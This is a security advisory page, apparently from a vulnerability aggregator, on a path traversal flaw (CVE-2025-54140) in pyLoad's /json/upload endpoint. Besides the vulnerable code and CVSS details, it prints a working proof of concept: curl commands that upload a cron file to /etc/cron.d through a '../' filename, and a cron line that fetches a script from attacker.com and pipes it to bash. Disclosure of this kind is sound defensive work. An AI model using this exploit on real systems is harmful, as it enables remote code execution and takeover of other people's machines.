pyLoad has Path Traversal Vulnerability in json/upload Endpoint that allows Arbitrary File Write
An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:
File: [src/pyload/webui/app/blueprints/json_blueprint.py](https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109)
```python
@json_blueprint.route("/upload", methods=["POST"])
def upload():
dir_path = api.get_config_value("general", "storage_folder")
for file in request.files.getlist("file"):
file_path = os.path.join(dir_path, "tmp_" + file.filename)
file.save(file_path)
```
Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.
1. Clone and install pyLoad from source (pip install pyload-ng):
```bash
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
```
2. Or install via pip (PyPi) in virtualenv:
```bash
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
```
1. Login and obtain session token
```bash
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
-d "username=admin&password=admin"
```
2. Create malicious cron payload
```bash
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
```
3. Upload file with path traversal filename
```bash
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
-F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
```
4. On the next cron tick, a reverse shell or payload will be triggered.
```
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream
*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--
```
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVE-2025-54140 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
CVE-2025-54140 is recorded against 2 packages.
Published on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
pypi.org (Package)
github.com (Advisory)
pyload-ng has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| pyload-ng | 0.5.0b3.dev89 | 0.5.0b3.dev90 |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2025-54140 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.